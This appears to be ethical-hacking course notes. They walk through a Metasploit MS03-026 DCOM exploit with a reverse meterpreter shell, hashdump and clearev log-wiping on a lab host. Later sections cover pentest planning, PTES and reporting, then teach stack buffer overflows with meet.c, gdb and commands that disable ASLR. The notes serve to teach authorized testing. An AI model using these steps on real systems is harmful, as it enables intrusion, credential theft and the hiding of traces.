IP: 192.168.42.128

Our objective here is to gain remote access to given target which is known to be running vulnerable Windows
2003 Server.

Here are the detailed steps of our attack in action,

Step 1

Perform an Nmap [Reference 3] scan of the remote server 192.168.42.129

The output of the Nmap scan shows us a range of ports open which can be seen below in Figure 1

We notice that there is port 135 open. Thus we can look for scripts in Metasploit to exploit and gain shell access if
this server is vulnerable.

Step 2:

Now on your BackTrack launch msfconsole as shown below

 Application > BackTrack > Exploitation Tools > Network Exploit Tools > Metasploit Framework > msfconsole

During the initialization of msfconsole, standard checks are performed. If everything works out fine we will see the
welcome screen as shown

Step 3:
Now, we know that port 135 is open so, we search for a related RPC exploit in Metasploit.

To list out all the exploits supported by Metasploit we use the "show exploits" command. This exploit lists out all
the currently available exploits and a small portion of it is shown below

As you may have noticed, the default installation of the Metasploit Framework 3.8.0-dev comes with 696
exploits and 224 payloads, which is quite an impressive stockpile thus finding a specific exploit from this huge list
would be a real tedious task. So, we use a better option. You can either visit the
link http://metasploit.com/modules/ or another alternative would be to use the "search <keyword>""command in
Metasploit to search for related exploits for RPC.command in Metasploit to search for related exploits for RPC.

In msfconsole type "search dcerpc" to search all the exploits related to dcerpc keyword as that exploit can be used
to gain access to the server with a vulnerable port 135. A list of all the related exploits would be presented on the
msfconsole window and this is shown below in figure 5.
Step 4:

Now that you have the list of RPC exploits in front of you, we would need more information about the exploit
before we actually use it. To get more information regarding the exploit you can use the command, "info
exploit/windows/dcerpc/ms03_026_dcom"

This command provides information such as available targets, exploit requirements, details of vulnerability itself,
and even references where you can find more information. This is shown in screenshot below,

Step 5:

The command "use <exploit_name>" activates the exploit environment for the exploit <exploit_name>. In our case
we will use the following command to activate our exploit
"use exploit/windows/dcerpc/ms03_026_dcom"
From the above figure we can see that, after the use of the exploit command the prompt changes from "msf>"
to "msf exploit(ms03_026_dcom) >" which symbolizes that we have entered a temporary environment of that
exploit.

Step 6:

Now, we need to configure the exploit as per the need of the current scenario. The "show options" command
displays the various parameters which are required for the exploit to be launched properly. In our case, the RPORT
is already set to 135 and the only option to be set is RHOST which can be set using the "set RHOST" command.

We enter the command "set RHOST 192.168.42.129" and we see that the RHOST is set to 192.168.42.129

Step 7:

The only step remaining now before we launch the exploit is setting the payload for the exploit. We can view all the
available payloads using the "show payloads" command.

As shown in the below figure, "show payloads" command will list all payloads that are compatible with the
selected exploit.
For our case, we are using the reverse tcp meterpreter which can be set using the command, "set PAYLOAD
windows/meterpreter/reverse_tcp" which spawns a shell if the remote server is successfully exploited. Now again
you must view the available options using "show options" to make sure all the compulsory sections are properly
filled so that the exploit is launched properly.

We notice that the LHOST for out payload is not set, so we set it to out local IP ie. 192.168.42.128 using the
command "set LHOST 192.168.42.128"
Step 8:

Now that everything is ready and the exploit has been configured properly its time to launch the exploit.

You can use the "check" command to check whether the victim machine is vulnerable to the exploit or not. This
option is not present for all the exploits but can be a real good support system before you actually exploit the remote
server to make sure the remote server is not patched against the exploit you are trying against it.

In out case as shown in the figure below, our selected exploit does not support the check option.

The "exploit" command actually launches the attack, doing whatever it needs to do to have the payload executed
on the remote system.

The above figure shows that the exploit was successfully executed against the remote machine 192.168.42.129 due
to the vulnerable port 135.
This is indicated by change in prompt to "meterpreter >".

Step 9:

Now that a reverse connection has been setup between the victim and our machine, we have complete control of the
server. We can use the "help" command to see which all commands can be used by us on the remote server to
perform the related actions as displayed in the below figure.
 Below are the results of some of the meterpreter commands.

"ipconfig" prints the remote machines all current TCP/IP network configuration values
"getuid" prints the server's username to he console.
"hashdump" dumps the contents of the SAM database.
"clearev" can be used to wipe off all the traces that you were ever on the machine.

Automating and Scripting Metasploit:

Automating and scripting Metasploit tasks can greatly enhance efficiency and productivity during penetration
testing and security assessments. Metasploit provides various ways to automate repetitive tasks and interact with
its functionalities programmatically. Here are some techniques for automating and scripting Metasploit:

1. Resource Scripting: Metasploit allows you to create resource scripts that automate a series of Metasploit
commands. These scripts have a .rc file extension and can include a sequence of commands that would otherwise
be entered manually in the Metasploit Console. To create a resource script, simply write the commands in a text
file and save it with the .rc extension. For example:

2.
To execute the resource script, use the resource command followed by the script's file path in the Metasploit
 Console:

3. Using Meterpreter Scripts: Meterpreter, the post-exploitation payload in Metasploit, allows you to execute
scripts directly on the compromised system. These scripts are written in the Metasploit Scripting Language
(MSL). Meterpreter scripts can be used to automate actions on the target system, such as file operations, privilege
escalation, and data gathering. You can create custom Meterpreter scripts or use existing ones from the
Metasploit Framework.
4. Metasploit API: Metasploit exposes a RESTful API that allows you to interact with the framework
programmatically. You can use any programming language that supports HTTP requests to communicate with
the API and automate tasks such as launching exploits, handling sessions, and retrieving results.
5. Metasploit Automation Framework (MSF-Automation): MSF-Automation is a Python-based framework built
on top of Metasploit's API. It simplifies the process of writing custom scripts and automating common Metasploit
tasks. With MSF-Automation, you can create Python scripts that interact with Metasploit's functionalities more
easily.
6. External Scripts and Tools: Metasploit can be integrated into other security tools and scripts using the
framework's command-line interface (CLI) or by calling Metasploit modules from external scripts. This allows
you to extend the capabilities of other tools and platforms.
7. Metasploit Community Plugins: Metasploit Community Edition allows users to develop and install plugins that
enhance its functionality. These plugins can automate specific tasks, provide additional features, or integrate with
external services.

Remember that while automation can save time and effort, it's crucial to use these automation techniques
responsibly and ethically. Always ensure that you have proper authorization to perform any automated actions on
systems or networks, and follow the rules and regulations regarding ethical hacking and penetration testing in
your area.

Going Further with Metasploit:

Going further with Metasploit involves advancing your skills and knowledge to use the framework effectively for
more complex penetration testing scenarios. Here are some areas to explore and enhance your Metasploit
proficiency:

1. Advanced Exploitation Techniques: Delve deeper into Metasploit's exploit development and learn about
advanced techniques like bypassing security mechanisms (DEP/ASLR), creating custom payloads, and crafting
Metasploit modules tailored to specific targets.
2. Pivoting and Post-Exploitation: Understand how to pivot through compromised systems to gain access to other
segments of the network. Explore post-exploitation modules and techniques for privilege escalation, lateral
movement, and data exfiltration.
3. Metasploit Meterpreter Scripting: Learn to write custom Meterpreter scripts using the Metasploit Scripting
 Language (MSL). This allows you to automate tasks, interact with the target system, and perform advanced post-
exploitation actions.
4. Exploitation on Different Platforms: Experiment with Metasploit on various platforms, including Windows,
Linux, macOS, and embedded systems. Each platform has its unique vulnerabilities and challenges.
5. Client-Side Exploitation: Deepen your knowledge of exploiting client-side vulnerabilities, such as those found
in web browsers, email clients, and document viewers. Understand how to create malicious content for social
engineering attacks.
6. Password Attacks and Credential Harvesting: Learn to use Metasploit's auxiliary modules for password
attacks like brute-forcing, credential stuffing, and credential harvesting from compromised systems.
7. Metasploit Automation and Integration: Explore how to automate Metasploit tasks using resource scripts,
Python scripting, and Metasploit's RESTful API. Integrate Metasploit with other security tools to create more
comprehensive testing and reporting frameworks.
8. Metasploit Community Plugins: Familiarize yourself with developing and using plugins for Metasploit
Community Edition. Plugins can enhance the framework's capabilities and improve workflow efficiency.
9. Web Application Penetration Testing: Use Metasploit for web application assessments by leveraging its
auxiliary modules, scanners, and payloads for testing common web application vulnerabilities.
10. Advanced Reporting and Documentation: Develop your skills in generating comprehensive penetration testing
reports using Metasploit's built-in reporting features or by integrating it with other reporting tools.
11. Reverse Engineering and Exploit Research: Gain insights into reverse engineering to analyze and understand
the inner workings of exploits. This knowledge can help you identify new vulnerabilities and contribute to the
cybersecurity community.

Remember that ethical hacking and penetration testing require continuous learning and responsible usage of tools
like Metasploit. Always adhere to ethical guidelines, obtain proper authorization, and respect the boundaries of
legality and ethics while performing security assessments. Additionally, staying up-to-date with the latest security
trends, vulnerabilities, and patches will help you keep your skills relevant and effective in the ever-changing
cybersecurity landscape.

Unit-3

Managing a Penetration Test: planning a penetration test

there are seven stages of penetration testing. Let’s discuss each one so your organization can
be prepared for this type of security testing.

7 Steps and Phases of Penetration Testing

Our internal pentest checklist includes the following 7 phases of penetration testing:

1. Information Gathering
2. Reconnaissance
3. Discovery and Scanning
 4. Vulnerability Assessment
5. Exploitation
6. Final Analysis and Review
7. Utilize the Testing Results

1. Information Gathering

The first of the seven stages of penetration testing is information gathering. The organization being tested will
provide the penetration tester with general information about in-scope targets. Open-source intelligence (OSINT)
is also used in this step of the penetration test as it pertains to the in-scope environment.

2. Reconnaissance

The information gathered to collect additional details from publicly accessible sources.

The reconnaissance stage is crucial to thorough security testing because penetration testers can identify additional
information that may have been overlooked, unknown, or not provided. This step is especially helpful in internal
and/or external network penetration testing, however, we don’t typically perform this reconnaissance in web
application, mobile application, or API penetration testing.

3. Discovery and Scanning

Discovery scanning is a way to test for perimeter vulnerabilities. The information gathered is used to perform
discovery activities to determine things like ports and services that were available for targeted hosts, or
subdomains, available for web applications. From there, our pen testers analyze the scan results and make a plan
to exploit them. Many organizations stop their penetration tests with the discovery scan results, but without
manual analysis and exploitation, the full scope of your attack surface will not be realized.

4. Vulnerability Assessment

A vulnerability assessment is conducted in order to gain initial knowledge and identify any potential security
weaknesses that could allow an outside attacker to gain access to the environment or technology being tested.
A vulnerability assessment is never a replacement for a penetration test, though.

5. Exploitation

This is where the action happens!

After interpreting the results from the vulnerability assessment, our expert penetration testers will use manual
techniques, human intuition, and their backgrounds to validate, attack, and exploit those vulnerabilities.
Automation and machine learning can’t do what an expert pen tester can. An expert penetration tester is able to
exploit vulnerabilities that automation could easily miss.
 6. Final Analysis and Review

When you work with on security testing, we deliver our findings in a report format.

This comprehensive report includes narratives of where we started the testing, how we found vulnerabilities, and
how we exploited them. It also includes the scope of the security testing, testing methodologies, findings, and
recommendations for corrections.

Where applicable, it will also state the penetration tester’s opinion of whether or not your penetration test adheres
to applicable framework requirements.

7. Utilize the Testing Results

The last of the seven stages of penetration testing is so important. The organization being tested must actually use
the findings from the security testing to risk rank vulnerabilities, analyze the potential impact of vulnerabilities
found, determine remediation strategies, and inform decision-making moving forward. security testing
methodologies are unique and efficient because they do not rely on static techniques and assessment methods.
We follow the Penetration Testing Execution Standard (PTES) suggestions in our pen testing process, but every
penetration test we perform is different because every organization’s needs are different. We provide custom pen
tests so organizations can better protect against the specific threats that they are up against. Effective penetration
testing requires a diligent effort to find enterprise weaknesses, just like a malicious individual would. We’ve
developed these seven stages of penetration testing because we’ve proven that they prepare organizations for
attacks and offer guidance on vulnerability remediation.

structuring a penetration test:

Structuring a penetration test involves organizing the assessment process into distinct phases, each with specific
objectives and deliverables. A well-structured penetration test ensures a systematic and thorough evaluation of
the target systems while maintaining a focus on the test's goals. Here's a typical structure for a penetration test:

1. Pre-engagement Phase: This phase lays the groundwork for the penetration test and involves initial
communication and preparation. Key activities include:
 Define the scope, objectives, and rules of engagement.
 Obtain proper authorization and sign the necessary agreements.
 Identify the target systems, networks, and applications to be tested.
 Notify relevant stakeholders about the upcoming test and its potential impact.
2. Reconnaissance and Information Gathering: In this phase, the penetration testers gather as much information
as possible about the target environment without actively engaging with it. Activities include:
 Passive reconnaissance to collect publicly available information.
 Enumerate DNS records, network blocks, and other data related to the target.
 Identify potential entry points and potential vulnerabilities.
3. Vulnerability Assessment: The vulnerability assessment phase involves scanning the target systems to identify
 known vulnerabilities. Key activities include:
 Conducting vulnerability scans using automated tools like Nessus, OpenVAS, or Nexpose.
 Identifying common security weaknesses and misconfigurations.
4. Exploitation: In this phase, the penetration testers attempt to exploit the identified vulnerabilities to gain
unauthorized access to the target systems. Activities include:
 Using penetration testing tools like Metasploit to exploit known vulnerabilities.
 Attempting privilege escalation and lateral movement to other systems.
5. Post-Exploitation and Privilege Escalation: Once access is gained, the testers aim to escalate privileges and
gain a deeper foothold in the target environment. Activities include:
 Exploiting weaknesses in access controls and user privileges.
 Identifying sensitive data and resources.
6. Data Exfiltration (Optional): If agreed upon with the client, the penetration testers may attempt to exfiltrate
sensitive data to simulate a real-world attack scenario. This phase requires extreme caution and should be
executed with proper authorization.
7. Documentation and Reporting: After completing the penetration test, the team documents the findings and
generates a comprehensive report. The report should include:
 A summary of the test's objectives and scope.
 Detailed technical findings, including identified vulnerabilities and successful exploits.
 Risk ratings and recommendations for mitigating the identified weaknesses.
 An executive summary suitable for non-technical stakeholders.
8. Debriefing and Remediation Support: The penetration testing team holds a debriefing session with the client to
discuss the findings, answer questions, and provide recommendations. The team may offer support during the
remediation process to address the identified vulnerabilities.
9. Continuous Improvement: After the test, it's essential to learn from the findings and improve the organization's
security posture. Use the insights gained from the penetration test to implement necessary security enhancements.

Each penetration test is unique, and the structure may vary based on the client's requirements and the complexity
of the target environment. However, adhering to a well-defined structure helps ensure that the penetration test is
thorough, efficient, and delivers actionable results to improve the organization's security.

execution of a penetration test:

What Is The Penetration Testing Execution Standard?

The Penetration Testing Execution Standard or “PTES” is a standard consisting of 7 stages covering every key
part of a penetration test. The standard was originally invented by information security experts in order to form a
baseline as to what is required for an effective penetration test. While this methodology is fairly dated and has not
been updated recently, it still provides a great general framework for planning and executing a penetration test at
a high level. As we have outlined before, Triaxiom leverages the PTES within our own custom testing
methodologies for executing any form of penetration test.
7 stages of the Penetration Testing Execution Standard
1. Pre-Engagement Interactions
2. Intelligence Gathering
3. Threat Modeling
4. Vulnerability Analysis
5. Exploitation
6. Post Exploitation
7. Reporting
Pre-Engagement Interactions
Pre-Engagement Interactions include everything from getting a Stateme
nt of Work in place, ensuring the scope of the project is accurate, and reviewing the Rules of Engagement.
This is an extremely important step to ensure the testing team and client are on the same page as to what is being
tested, when it is being tested, and any special considerations that need to be followed during the test.
Intelligence Gathering
The intelligence gathering, or OSINT, phase is conducted at the beginning of every penetration test to gather as
much information about the organizations and assets in scope as possible. This information is used to inform and
facilitate testing performed later in the process, such as password attacks.
Threat Modeling
The goal of a penetration tester is to emulate an attacker in order to gauge the real risk for a target, so identifying
and understanding the threats a target might face is a key step. This data should inform the rest of the testing
process to identify potential attacks to use, weed out false positives, etc. Threat Modeling identifies what threats
an organization, a target network, or an in-scope application should be worried about.
Vulnerability Analysis
Now that we know our targets and have a clear understanding of the threats the target assets face, it is time to
move into the vulnerability analysis phase. This involves vulnerability scans as well as manual evaluation of the
in-scope assets. From here, the penetration tester should verify all discovered vulnerabilities are accurate, there
are no false positives, and figure out which vulnerabilities can or should be exploited in the following phase.
Exploitation
With a list of potential or confirmed vulnerabilities, it is time to exploit discovered vulnerabilities in order to gain
access to information systems or data. This phase truly helps the client understand their risks, as it proves the
viability of exploits, exemplifies exactly how an attacker can leverage existing vulnerabilities to infiltrate the
assets in scope, and highlights the results of the exploit (e.g. access to sensitive information, potential for loss of
availability, etc.).

Post-Exploitation
The purpose of the Post-Exploitation phase is to determine the value of the machine compromised and to
maintain control of the machine for later use. This is sometimes called the “looting” phase, as the key goal is to
gather screenshots and sensitive information that help highlight the risk for reporting or allow further access in
the target environment, representing additional vulnerabilities.

Reporting
Following any penetration test, reports are delivered detailing exactly what was uncovered during the
assessment. In most cases and at Triaxiom, this includes an Executive Summary report detailing the scope of the
 assessment, the overall risk to the organization, and the strengths and weaknesses uncovered during the test.
Additionally, a Technical Findings report is provided that details every single vulnerability, where it was
discovered, the associated criticality, relevant details that help explain the risk or recreate the issue, and
recommended remediation steps.
What are the Benefits of using Penetration Testing Execution Standard?
As you can see, the Penetration Testing Execution Standard can be a great foundational resource that lays out a
clear framework to follow when executing a penetration test. It’s important for penetration testers to follow
a consistent methodology (which could include the PTES) so each and every penetration test produces accurate
and consistent results, ultimately helping clients become more secure. Every penetration test is different, but a
core methodology can help ensure that you do not skip a step, you do not miss a critical aspect of the test, and
you can give the client the best test possible.

information sharing during a penetration test:

During a penetration test, information sharing is a critical aspect that helps ensure the test's success and safety.
Proper communication and coordination among the penetration testing team, the client or organization being
tested, and any other involved parties are essential to maintain transparency, avoid misunderstandings, and
minimize the risk of negative impacts. Here are some key aspects of information sharing during a penetration
test:

1. Pre-engagement Communication:
 Before starting the penetration test, there should be clear communication between the penetration testing
team and the client to define the scope, objectives, and limitations of the test.
 Discuss the rules of engagement, including what actions are allowed and what should be avoided during
the test.
 Obtain written authorization from the client, providing explicit permission to perform the penetration
test.
2. Engagement Agreement:
 Create a formal engagement agreement or contract that outlines the terms and conditions of the
penetration test. This document should detail the scope, timeline, confidentiality, and responsibilities of
each party involved.
 Specify the types of information that can be shared and with whom it can be shared.
3. Information Exchange:
 Throughout the testing process, the penetration testing team may need to interact with the client's IT or
security team to request additional information or clarification on the target systems and network
infrastructure.
 The client may need to provide credentials or access to certain systems to facilitate the testing process.
4. Real-time Communication:
 Maintain open lines of communication during the test. If unexpected issues arise or if there are any
concerns, both parties should be able to contact each other promptly.
 Keep the client informed of the testing progress and any significant findings as they are discovered.
However, sensitive information should be communicated securely and only to authorized individuals.
5. Data Handling and Confidentiality:
  Treat all information related to the penetration test as highly confidential. This includes any data obtained
during the testing process, such as system configurations, login credentials, and other sensitive
information.
 Ensure that data is securely stored and accessed only by authorized personnel.
6. Incident Response Planning:
 In some cases, the penetration test may trigger security alerts or incidents within the client's environment.
Both parties should have a well-defined incident response plan to address any unexpected issues
promptly.
7. Post-Engagement Reporting:
 After completing the penetration test, the testing team should prepare a comprehensive report detailing
the findings, potential risks, and recommended remediation steps.
 The report should be shared with the client securely and limited to authorized recipients.

Overall, effective communication and information sharing are essential for a successful penetration test. By
collaborating closely with the client and maintaining transparency, the testing team can identify and address
security vulnerabilities more effectively, ultimately leading to improved security for the organization's systems
and data.
Reporting the results of a Penetration Test:

Reporting the results of a penetration test is a crucial step in the process, as it provides valuable insights to the
organization being tested. The penetration test report should present the findings, vulnerabilities, and
recommendations in a clear and concise manner, enabling the client to understand the security posture of their
systems and take appropriate actions to improve security. Here are the key elements to include in a penetration
test report:

1. Executive Summary:
 A high-level overview of the penetration test, its objectives, and the most critical findings.
 A summary of the risk level associated with the discovered vulnerabilities.
 Key recommendations for improving security.
2. Introduction:
 A brief explanation of the purpose and scope of the penetration test.
 Any limitations or constraints that may have impacted the test.
3. Methodology:
 An outline of the methodologies, tools, and techniques used during the penetration test.
 This section provides transparency about the testing process and helps the client understand how the
testing was conducted.
4. Findings:
 Detailed descriptions of all the vulnerabilities, weaknesses, and security issues discovered during the test.
 Each finding should include a severity rating, which helps the client prioritize their remediation efforts.
5. Evidence and Proof of Concept (PoC):
 Whenever possible, include evidence and proof-of-concept details for each identified vulnerability.
 PoCs demonstrate that the issues are real and exploitable, reinforcing the urgency of remediation.
6. Risk Assessment:
 A comprehensive risk assessment that evaluates the potential impact and likelihood of exploitation for
each vulnerability.
 Use a standardized risk rating system (e.g., high, medium, low) to help the client prioritize their response.
7. Recommendations:
 Clear and actionable recommendations to address each identified vulnerability.
 Suggestions for improving overall security posture and best practices to prevent similar issues in the
future.
8. Technical Details:
 Include technical details of the vulnerabilities discovered, including affected systems, configurations, and
relevant logs.
 This section is more technical and aimed at the client's IT or security team.
9. Conclusion:
 A summary of the main findings and the overall security posture of the tested systems.
 Reiterate the importance of addressing the identified issues.
10. Appendices:
Any additional information that supports the findings, such as screenshots, network diagrams, or logs.
Details of the tools and scripts used during the test.
11. Non-Disclosure Agreement (NDA):
If required, include an NDA to protect sensitive information in the report from unauthorized disclosure.

Remember, the penetration test report should be tailored to the audience. While technical details are important for
the IT or security team, the executive summary and risk assessment should be more accessible to higher-level
management. The goal is to provide actionable information that helps the organization enhance its security
posture and protect against potential threats.

Basic Linux Exploits: Stack Operations:

 Stack operations

 Stack data structure

 How the stack data structure is implemented

 Procedure of calling functions

Buffer overflows

 Example of a buffer overflow

 Overflow of previous meet.c

  Ramifications of buffer overflows

Local buffer overflow exploits

 Components of the “exploit sandwich”

 Exploiting stack overflows by command line and generic code

 Exploitation of meet.c

 Exploiting small buffers by using the environment segment of memory

Exploit development process

 Control eip

 Determine the offset(s)

 Determine the attack vector

 Build the exploit sandwich

 Test the exploit

Why study exploits? Ethical hackers should study exploits to understand if a vulnerability is exploitable.
Sometimes security professionals will mistakenly believe and publish the statement: “The vulnerability is not
exploitable.” The black hat hackers know otherwise. They know that just because one person could not find an
exploit to the vulnerability, that doesn’t mean someone else won’t find it. It is all a matter of time and skill level.
Therefore, gray hat ethical hackers must understand how to exploit vulnerabilities and check for themselves. In
the process, they may need to produce proof of concept code to demonstrate to the vendor that the vulnerability is
exploitable and needs to be fixed.

Stack Operations

The stack is one of the most interesting capabilities of an operating system. The concept of a stack can best be
explained by remembering the stack of lunch trays in your school cafeteria. As you put a tray on the stack, the
previous trays on the stack are covered up. As you take a tray from the stack, you take the tray from the top of the
stack, which happens to be the last one put on. More formally, in computer science terms, the stack is a data
structure that has the quality of a first in, last out (FILO) queue.

The process of putting items on the stack is called a push and is done in the assembly code language with
the push command. Likewise, the process of taking an item from the stack is called a pop and is accomplished
with the pop command in assembly language code.

In memory, each process maintains its own stack within the stack segment of memory. Remember, the stack
grows backwards from the highest memory addresses to the lowest. Two important registers deal with the stack:
extended base pointer (ebp) and extended stack pointer (esp). As Figure 7-1 indicates, the ebp register is the base
of the current stack frame of a process (higher address). The esp register always points to the top of the stack
(lower address).

Figure. The relationship of ebp and esp on a stack

Function Calling Procedure

In a function is a self-contained module of code that is called by other functions, including the main function.
This call causes a jump in the flow of the program. When a function is called in assembly code, three things
take place.

By convention, the calling program sets up the function call by first placing the function parameters on the stack
in reverse order. Next the extended instruction (eip) is saved on the stack so the program can continue where it
left off when the function returns. This is referred to as the return address. Finally, the call command is executed,
and the address of the function is placed in eip to execute.

In assembly code, the call looks like this:

0x8048393 <main+3>: mov 0xc(%ebp),%eax

0x8048396 <main+6>: add $0x8,%eax
0x8048399 <main+9>: pushl (%eax)
0x804839b <main+11>: mov 0xc(%ebp),%eax
0x804839e <main+14>: add $0x4,%eax
0x80483a1 <main+17>: pushl (%eax)
0x80483a3 <main+19>: call 0x804835c <greeting>

The called function’s responsibilities are to first save the calling program’s ebp on the stack. Next it saves the
current esp to ebp (setting the current stack frame). Then esp is

decremented to make room for the function’s local variables. Finally, the function gets an opportunity to execute
its statements. This process is called the function prolog.

In assembly code, the prolog looks like this:

0x804835c <greeting>: push %ebp

0x804835d <greeting+1>: mov %esp,%ebp
0x804835f <greeting+3>: sub $0x190,%esp
The last thing a called function does before returning to the calling program is to clean up the stack by
incrementing esp to ebp, effectively clearing the stack as part of the leave statement. Then the saved eip is
popped off the stack as part of the return process. This is referred to as the function epilog. If everything goes
well, eip still holds the next instruction to be fetched and the process continues with the statement after the
function call.

In assembly code, the epilog looks like this:

0x804838e <greeting+50>: leave

0x804838f <greeting+51>: ret

These small bits of assembly code will be seen over and over when looking for buffer overflows .

Buffer Overflows:

buffers are used to store data in memory. We are mostly interested in buffers that hold strings. Buffers
themselves have no mechanism to keep you from putting too much data in the reserved space. In fact, if you get
sloppy as a programmer, you can quickly outgrow the allocated space. For example, the following declares a
string in memory of 10 bytes:

char str1[10];

So what happens if you execute the following?

strcpy (str1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");

Let’s find out.

//overflow.c
main(){
char str1[10]; //declare a 10 byte string
//next, copy 35 bytes of "A" to str1
 strcpy (str1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
}

Then compile and execute the following:

$ //notice we start out at user privileges "$"

$gcc –ggdb –o overflow overflow.c
./overflow
09963: Segmentation fault

Why did you get a segmentation fault? Let’s see by firing up gdb:

$gdb –q overflow
(gdb) run
Starting program: /book/overflow

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()
(gdb) info reg eip
eip 0x41414141 0x41414141
(gdb) q
A debugging session is active.
Do you still want to close the debugger?(y or n) y
$

As you can see, when you ran the program in gdb, it crashed when trying to execute the instruction at
0x41414141, which happens to be hex for AAAA (A in hex is 0x41). Next you can check that eip was corrupted
with A’s: yes, eip is full of A’s and the program was doomed to crash. Remember, when the function (in this
case, main) attempts to return, the saved eip value is popped off of the stack and executed next. Since the address
0x41414141 is out of your process segment, you got a segmentation fault.

Caution

Fedora and other recent builds use Address Space Layout Randomization (ASLR) to
randomize stack memory calls and will have mixed results for the rest of this
chapter. If you wish to use one of these builds, disable the ASLR as follows:

#echo "0" > /proc/sys/kernel/randomize_va_space

#echo "0" > /proc/sys/kernel/exec-shield
#echo "0" > /proc/sys/kernel/exec-shield-randomize
Overflow of meet.c

we have meet.c:

//meet.c
#include <stdio.h> // needed for screen printing
greeting(char *temp1,char *temp2){ // greeting function to say hello
char name[400]; // string variable to hold the name
strcpy(name, temp2); // copy the function argument to name
printf("Hello %s %s\n", temp1, name); //print out the greeting
}
main(int argc, char * argv[]){ //note the format for arguments
greeting(argv[1], argv[2]); //call function, pass title & name
printf("Bye %s %s\n", argv[1], argv[2]); //say "bye"
} //exit program

To overflow the 400-byte buffer in meet.c, you will need another tool, perl. Perl is an interpreted language,
meaning that you do not need to precompile it, making it very handy to use at the command line. For now you
only need to understand one perl command:

`perl –e 'print "A" x 600'`

This command will simply print 600 A’s to standard out—try it! Using this trick, you will start by feeding 10 A’s
to your program (remember, it takes two parameters):

# //notice, we have switched to root user "#"

#gcc -mpreferred-stack-boundary=2 –o meet –ggdb meet.c
#./meet Mr `perl –e 'print "A" x 10'`
Hello Mr AAAAAAAAAA
Bye Mr AAAAAAAAAA
#

Next you will feed 600 A’s to the meet.c program as the second parameter as follows:

#./meet Mr `perl –e 'print "A" x 600'`

Segmentation fault

As expected, your 400-byte buffer was overflowed; hopefully, so was eip. To verify, start gdb again:

# gdb –q meet
(gdb) run Mr `perl -e 'print "A" x 600'`
Starting program: /book/meet Mr `perl -e 'print "A" x 600'`
Program received signal SIGSEGV, Segmentation fault.
0x4006152d in strlen () from /lib/libc.so.6
(gdb) info reg eip
eip 0x4006152d 0x4006152d

Note

Your values will be different—it is the concept we are trying to get across here, not
the memory values.

Not only did you not control eip, you have moved far away to another portion of memory. If you take a look
at meet.c, you will notice that after the strcpy() function in the greeting function, there is a printf() call.
That printf, in turn, calls vfprintf() in the libc library. The vfprintf() function then calls strlen. But what could
have gone wrong? You have several nested functions and thereby several stack frames, each pushed on the stack.
As you overflowed, you must have corrupted the arguments passed into the function. Recall from the previous
section that the call and prolog of a function leave the stack looking like the following illustration:

If you write past eip, you will overwrite the function arguments, starting with temp1. Since the printf() function
uses temp1, you will have problems. To check out this theory, let’s check back with gdb:

(gdb)
(gdb) list
1 //meet.c
2 #include <stdio.h>
3 greeting(char* temp1,char* temp2){
4 char name[400];
5 strcpy(name, temp2);
6 printf("Hello %s %s\n", temp1, name);
7 }
8 main(int argc, char * argv[]){
9 greeting(argv[1],argv[2]);
10 printf("Bye %s %s\n", argv[1], argv[2]);
(gdb) b 6
Breakpoint 1 at 0x8048377: file meet.c, line 6.
(gdb)
(gdb) run Mr `perl -e 'print "A" x 600'`
Starting program: /book/meet Mr `perl -e 'print "A" x 600'`

Breakpoint 1, greeting (temp1=0x41414141 "", temp2=0x41414141 "") at

meet.c:6
6 printf("Hello %s %s\n", temp1, name);

You can see in the preceding bolded line that the arguments to your function, temp1 and temp2, have been
corrupted. The pointers now point to 0×41414141 and the values are“ ” or NULL. The problem is
that printf() will not take NULLs as the only inputs and chokes. So let’s start with a lower number of A’s, such as
401, then slowly increase until we get the effect we need:

(gdb) d 1 <remove breakpoint 1>

(gdb) run Mr `perl -e 'print "A" x 401'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /book/meet Mr `perl -e 'print "A" x 401'`

Hello Mr
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[more 'A's removed for brevity]
AAA

Program received signal SIGSEGV, Segmentation fault.

main (argc=0, argv=0x0) at meet.c:10
10 printf("Bye %s %s\n", argv[1], argv[2]);
(gdb)
(gdb) info reg ebp eip
ebp 0xbfff0041 0xbfff0041
eip 0x80483ab 0x80483ab
(gdb)
(gdb) run Mr `perl -e 'print "A" x 404'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /book/meet Mr `perl -e 'print "A" x 404'`
Hello Mr
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[more 'A's removed for brevity]
AAA

Program received signal SIGSEGV, Segmentation fault.

0x08048300 in __do_global_dtors_aux ()
(gdb)
(gdb) info reg ebp eip
ebp 0x41414141 0x41414141
eip 0x8048300 0x8048300
(gdb)
(gdb) run Mr `perl -e 'print "A" x 408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /book/meet Mr `perl -e 'print "A" x 408'`

Hello
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[more 'A's removed for brevity]
AAAAAAA

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()
(gdb) q
A debugging session is active.
Do you still want to close the debugger?(y or n) y
#

As you can see, when a segmentation fault occurs in gdb, the current value of eip is shown.

It is important to realize that the numbers (400–408) are not as important as the concept of starting low and
slowly increasing until you just overflow the saved eip and nothing else. This was because of the printf call
immediately after the overflow. Sometimes you will have more breathing room and will not need to worry about
this as much. For example, if there were nothing following the vulnerable strcpy command, there would be no
problem overflowing beyond 408 bytes in this case.

Note
 Remember, we are using a very simple piece of flawed code here; in real life you
will encounter problems like this and more. Again, it’s the concepts we want you to
get, not the numbers required to overflow a particular vulnerable piece of code.

Ramifications of Buffer Overflows

When dealing with buffer overflows, there are basically three things that can happen. The first is denial of
service. As we saw previously, it is really easy to get a segmentation fault when dealing with process memory.
However, it’s possible that is the best thing that can happen to a software developer in this situation, because a
crashed program will draw attention. The other alternatives are silent and much worse.

The second case is when the eip can be controlled to execute malicious code at the user level of access. This
happens when the vulnerable program is running at user level of privilege.

The third and absolutely worst case scenario is when the eip can be controlled to execute malicious code at the
